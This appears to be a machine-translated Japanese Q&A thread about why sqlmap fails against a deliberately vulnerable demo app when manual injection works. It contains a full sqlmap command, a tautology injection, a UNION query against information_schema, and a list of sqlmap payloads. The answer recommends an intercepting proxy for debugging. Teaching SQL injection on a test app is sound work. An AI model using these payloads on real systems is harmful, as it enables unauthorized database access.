web-dev-qa-db-ja.com

SQLmapインジェクションが機能しない、手動で正常に機能する

SQLインジェクションを示すために、脆弱なWebアプリケーションを作成しました。手動注入と自動注入の両方を表示します。インジェクションでは、a)ユーザーがログインしている(セッションCookie)、b)ユーザーのSSL証明書、c)PREFIXが必要です。

私のコマンドは:

python ./sqlmap.py --auth-file ~/welcomecert.p12 -u "http://komodobank.com/index.php?profile=adminsnowball" -p profile --cookie="PHPSESSID=sp1222aplv64fok7pa7voe447" --prefix="adminsnowball'" -v 3 --dbms mysql --level 5 --risk 3 --union-cols 10-16

SQLmapが機能していないことがわかりますが、フィールドが挿入可能であることがわかりません。

このような手動注入は機能します:

http://vulnapp.com/index.php?profile=admin' or '1'='1

SQLmapが失敗する原因となる可能性があるもの:

  1. 返されるエラーメッセージは、MySQLエラーメッセージではなく、カスタムエラーメッセージです。
  2. プロファイルプレフィックスは、ログインしたユーザー名である必要があります。
  3. UNIONは十分なフィールドをテストしていない可能性があります
  4. 文字列をテストするのではなく、整数のみをテストします(たとえば、AND 3347=7762ではなくAND '3347'='7762
  5. そのテストANDではなくOR(テストされているORsが見えません)
  6. 次に、http GET要求がJSに渡され、JSがサーバーからのデータを受け取ります。おそらく、SQLmapに対する応答が失われますか?

以下は、それがテスト中であることを確認できるクエリの一部ですが、明らかにそれらはすべて失敗します。

[PAYLOAD] admin' AND 3115=1602 AND (3320=3320
[PAYLOAD] admin' AND 5213=5213 AND (8263=8263
[PAYLOAD] admin' AND 3347=7762
[PAYLOAD] admin' AND 5213=5213
[PAYLOAD] admin' ORDER BY 1--
[PAYLOAD] admin' ORDER BY 3421--
[PAYLOAD] admin' UNION ALL SELECT NULL--
[PAYLOAD] admin' UNION ALL SELECT NULL,NULL--
[PAYLOAD] admin' UNION ALL SELECT NULL,NULL,NULL--
[PAYLOAD] admin' UNION ALL SELECT NULL,NULL,NULL,NULL--

編集:このクエリは手動でも機能します:

' union select table_name,2,3,4,5,6,7,8,9,10,11,12 from information_schema.tables where 'x'='x

ただし、SQLmapはそのような共用体をテストしていないようです。

5
amlwwalker

テストアプリケーションにアクセスできないとsqlmapが失敗する理由を正確に述べることは不可能ですが、インターセプトプロキシを使用してアプリからのリクエスト/レスポンスを確認することはできます。どこで失敗するかを確認します。 OWASP ZAP または Burp のようなプロキシを使用すると、sqlmapから送信されたクエリを確認して、失敗している理由を知ることができます。

1
Rory McCune